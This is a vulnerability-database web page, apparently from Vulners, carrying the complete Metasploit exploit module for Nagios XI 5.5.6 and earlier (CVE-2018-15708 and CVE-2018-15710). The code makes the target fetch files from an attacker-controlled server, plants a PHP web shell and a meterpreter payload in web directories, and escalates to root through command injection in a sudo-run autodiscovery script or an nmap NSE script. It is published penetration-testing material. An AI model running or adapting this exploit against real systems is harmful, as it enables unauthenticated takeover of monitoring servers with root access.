Lucene search
K

Nagios XI Magpie_debug.php Root Remote Code Execution

Nagios XI Magpie_debug.php Root Remote Code Execution. This module exploits two vulnerabilities in Nagios XI <= 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE-2018-15710 which allows for local privilege escalation. When combined, these two vulnerabilities allow execution of arbitrary commands as root

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI Magpie_debug.php Root Remote Code Execution',
        'Description' => %q{
          This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
          CVE-2018-15708 which allows for unauthenticated remote code execution
          and CVE-2018-15710 which allows for local privilege escalation.
          When combined, these two vulnerabilities allow execution of arbitrary
          commands as root.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Chris Lyne (@lynerc)', # Discovery and exploit
            'Guillaume André (@yaumn_)', # Metasploit module
            'bcoles', # Additional writable paths and usability/reliability/cleanup fixes
          ],
        'References' =>
          [
            ['CVE', '2018-15708'],
            ['CVE', '2018-15710'],
            ['EDB', '46221'],
            ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
            ['URL', 'https://www.tenable.com/security/research/tra-2018-37']
          ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' =>
          [
            ['Nagios XI <= 5.5.6', { version: Gem::Version.new('5.5.6') }]
          ],
        'DefaultOptions' =>
          {
            'RPORT' => 443,
            'SSL' => true
          },
        'Privileged' => true,
        'DisclosureDate' => '2018-11-14',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          }
      )
    )

    register_options([
      OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
      OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
    ])

    @WRITABLE_PATHS = [
      # writable as 'apache' user
      ['/usr/local/nagvis/share', '/nagvis'],
      # writable as 'apache' user
      ['/var/www/html/nagiosql', '/nagiosql'],
      # writable as 'nagios' group
      ['/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs', '/nagiosxi/includes/components/autodiscovery/jobs'],
      # writable as 'nagios' group
      ['/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp', '/nagiosxi/includes/components/highcharts/exporting-server/temp'],
    ]
    @writable_path_index = 0
    @webshell_name = "#{Rex::Text.rand_text_alpha(10..12)}.php"
    @meterpreter_name = Rex::Text.rand_text_alpha(10..12)
  end

  def on_request_uri(cli, _req)
    if @current_payload == @webshell_name
      send_response(cli, "<?php system($_GET['cmd'])?>")
    else
      send_response(cli, generate_payload_exe)
    end
  end

  def primer
    path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@current_payload}"
    print_status("Uploading to #{path} ...")
    res = magpie_debug("https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} -o '#{path}'")

    unless res
      print_error("Could not upload #{@current_payload} to target. No reply.")
      return false
    end

    unless res.code == 200
      print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
      return false
    end

    if res.body.include?('Error: MagpieRSS: Failed to fetch')
      print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
      return false
    end

    register_file_for_cleanup(path)
  end

  def upload_success?
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
      }, 5
    )

    unless res
      print_error("Could not access #{@current_payload}. No reply.")
      return false
    end

    unless res.code == 200
      print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")
      return false
    end

    print_good("#{@current_payload} uploaded successfully!")
    true
  end

  def magpie_debug(url = '')
    send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri('/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'),
        'vars_get' => {
          'url' => url
        }
      }, 5
    )
  end

  def check
    res = magpie_debug

    unless res
      return CheckCode::Safe('No reply.')
    end

    if res.code == 200 && res.body.include?('MagpieRSS')
      return CheckCode::Appears('Found MagpieRSS.')
    end

    CheckCode::Safe
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi(
      {
        'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
        'method' => 'GET',
        'vars_get' => {
          'cmd' => cmd
        }
      }, 5
    )
  end

  def exploit
    all_files_uploaded = false

    # Upload PHP web shell and meterpreter to writable directory on target
    for i in 0...@WRITABLE_PATHS.size
      @writable_path_index = i
      for filename in [@webshell_name, @meterpreter_name]
        @current_payload = filename
        begin
          Timeout.timeout(datastore['HTTPDELAY']) { super }
        rescue Timeout::Error
          if !upload_success?
            break
          elsif filename == @meterpreter_name
            all_files_uploaded = true
          end
        end
      end
      if all_files_uploaded
        break
      end
    end

    unless all_files_uploaded
      fail_with(Failure::NotVulnerable, 'Uploading payload failed')
    end

    meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"

    print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")

    res = execute_command('id')
    unless res && res.body.include?('uid=')
      fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
    end

    id = res.body.scan(/^(uid=.+)$/).flatten.first
    if id.blank?
      fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
    end
    print_good("Success! Commands executed as user: #{id}")

    print_status('Attempting privilege escalation ...')

    nse_path = "/var/tmp/#{Rex::Text.rand_text_alpha(10..12)}.nse"
    register_file_for_cleanup(nse_path)

    # Commands to escalate privileges, some will work and others won't
    # depending on the Nagios version
    cmds = [
      "chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
      "components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
      "echo 'os.execute(\"#{meterpreter_path}\")' > #{nse_path} " \
      "&& sudo nmap --script #{nse_path}"
    ]

    # Try to launch root shell
    for cmd in cmds
      vprint_status("Trying: #{cmd}")
      execute_command(cmd)
      break if session_created?
    end

    unless session_created?
      print_error('Privilege escalation failed')
      print_status("Executing payload as #{id} ...")
      execute_command("chmod +x #{meterpreter_path} && #{meterpreter_path}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation